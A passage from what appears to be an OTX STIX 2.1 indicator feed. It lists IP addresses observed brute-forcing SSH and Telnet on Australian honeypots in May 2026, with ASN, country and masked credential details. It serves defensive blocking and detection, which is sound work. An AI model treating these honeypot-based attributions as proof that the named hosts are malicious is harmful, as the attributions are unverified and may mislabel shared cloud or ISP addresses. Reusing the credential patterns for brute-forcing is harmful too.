      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--d0ba93ba-543a-4796-8b29-66e0e6ebe736",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.9.164.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--7e13dcfc-9aa7-43e3-85a3-69dd1ebb3532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.97.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T23:15:10.000Z",
      "valid_until": "2026-06-14T23:15:08.000Z"
    },
    {
      "created": "2026-05-13T23:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--0d65be17-e7f4-4258-b2f8-e271667fe720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T23:15:10.000Z",
      "valid_until": "2026-06-14T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, 3**********4, a*******4, c****s, e******q. Passwords observed (masked): *, 1****1, 1******d, 1****6, 3***********4.",
      "id": "indicator--1a83425a-378b-4134-a0fd-efc2c5fa8bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.31.2.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264477. Organisation(s): FLIX TELECOM.",
      "id": "indicator--faad2a42-1982-4dd6-94d6-6307481f4186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.255.110.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--b762ba2f-eaa6-4b25-bd14-484fdab4f479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.227.84.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): f******o, r**t. Passwords observed (masked): f******o, t****r.",
      "id": "indicator--462c2428-de87-4be2-a6b4-3468fac5da1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.185.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 52263. Organisation(s): Telecable Economico S.A..",
      "id": "indicator--e32d1e4f-c7e6-4c8b-9a45-8393a09dd75e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.113.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--9c7759cb-f790-4c84-adf7-e734fc1d222d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.133.114.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3399c6a8-aa02-4dd1-a8ef-0cd04ae0abe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c*******r, d****l, d****n. Passwords observed (masked): 1****6, 1******8, 1******d, 1*******#, 3***********4.",
      "id": "indicator--1739b70c-7673-4a10-9517-4215c015c87a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.228.218.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): r**t, u******y. Passwords observed (masked): L**********F, P******d, Q******@, R*******@, p******d.",
      "id": "indicator--1bf80c21-e350-427d-9f4e-2a4d6a0fc62d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.228.239.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:15:11.000Z",
      "valid_until": "2026-06-15T00:15:09.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--92050659-a139-49fa-9b30-10cc8e594d9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '100.27.226.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY.",
      "id": "indicator--6eda214b-d623-4638-bfc1-9a3b613aac95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.176.25.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397423. Organisation(s): Tier.Net Technologies LLC.",
      "id": "indicator--17f09c67-8ff9-4150-96a4-01f40568ee62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.249.62.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--63183ce2-6417-40cf-bfb0-711c51cc6065",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.189.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, a*****4, b*****9, c******3.",
      "id": "indicator--23a71609-4c00-4ddc-b3a0-6901677e46d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.228.152.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 324. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1***0, 4******b, A******!.",
      "id": "indicator--6a8ca04d-0af7-4b96-8a0a-08ff20fb7883",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.218.9.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--5df033eb-0e08-4cc1-baba-f0a276ba156d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.56.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--e2ce7bfe-8315-47aa-821d-37af38c37195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.56.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--de34a6b4-319c-4192-afd4-106ab27d1e58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.219.112.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 2******r, ***.",
      "id": "indicator--d3050729-f9bc-4f5c-88b7-1615624e6f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.74.79.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T01:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--7a107d3f-c427-40fc-a38a-94dae1bf8e44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T01:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.226.38.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:15:16.000Z",
      "valid_until": "2026-06-15T01:15:08.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--27d65f73-3441-47a0-af6e-be788cd241fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.162.10.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--2907a983-3727-4c61-9f6d-558be0ec93a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.173.100.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--48254e6e-9b30-4c3f-8894-9f8b2f7f7b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.69.227.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--32fc8af3-c537-4186-905e-4425102c9b1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.62.61.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--52c393b2-202a-4e8e-87ea-bebecb6ab72d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--95c45873-5702-462d-b211-1b2fcaf2ac93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.60.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 53087. Organisation(s): TELY Ltda.. Usernames observed (masked): r**t, 3**********4, a***n, d****l, ***. Passwords observed (masked): !******z, ***, 1******8, 1**1, 3***********4.",
      "id": "indicator--be91fc4c-4ddc-4dff-9956-cb2fa0911a07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.33.251.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 271836. Organisation(s): Compania de Comunicaciones Coyhaique Ltda..",
      "id": "indicator--973735f2-a45f-40b9-8a30-619275ddaac8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.211.249.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: DE. ASN(s): 215929. Organisation(s): Data Campus Limited. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t, s******1, s*******1, s*******2.",
      "id": "indicator--a5155eb4-a9a1-44a9-862a-eb1fa703bc2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.24.211.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--2c3470ae-6f7d-4616-a18c-ab459d173b81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.163.160.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--59c9cf7e-cf83-46f9-87d5-60a80cb6c634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.218.240.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--a5b8168f-83a1-45d7-82b8-0a5e0ee0f91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.145.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
